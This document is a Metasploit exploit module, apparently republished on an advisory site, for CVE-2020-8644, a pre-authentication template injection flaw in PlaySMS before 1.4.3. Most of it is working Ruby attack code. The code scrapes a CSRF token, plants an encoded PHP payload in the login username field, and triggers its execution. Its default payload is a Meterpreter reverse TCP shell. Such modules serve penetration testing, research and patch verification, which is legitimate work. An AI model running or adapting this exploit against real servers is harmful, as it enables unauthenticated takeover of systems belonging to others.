PlaySMS index.php Unauthenticated Template Injection Code Execution

This Metasploit module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom PHP template system called TPL which is used in the PlaySMS template engine at src/Playsms/Tpl.php:_compile(). The vulnerability is triggered when an attacker supplied username with a malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a second time, results in code execution.


MD5 | e40284c5a13747da60aa031e3cb3795e

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
'Description' => %q{
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
PHP template system called 'TPL' which is used in the PlaySMS template engine at
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
second time, results in code execution.
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.

This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
'Lucas Rosevear' # Found and Initial PoC by NCC Group
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-8644'],
['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS Before 1.4.3', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-02-05'
)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
]
)
end

def uri
return target_uri.path
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue StandardError
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end

if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end

return CheckCode::Safe
end

# Send Payload in Login Request
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
})

# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")

cookies = res.get_cookies

vprint_status('Trying to send the payload in the username field...')

# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
evil = "{{#{payload.encoded.delete_suffix(';')}}}"

# Send Payload with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login'
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => evil,
'password' => ''
}.to_a.shuffle]
})

fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

# Request Status Check
if res.code == 302
print_good('Payload successfully sent')
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
end
end

def exploit
cookies = login
vprint_status("Cookies here : #{cookies}")
# Execute Last Sent Username.
send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
}, 0)
end
end

Related Posts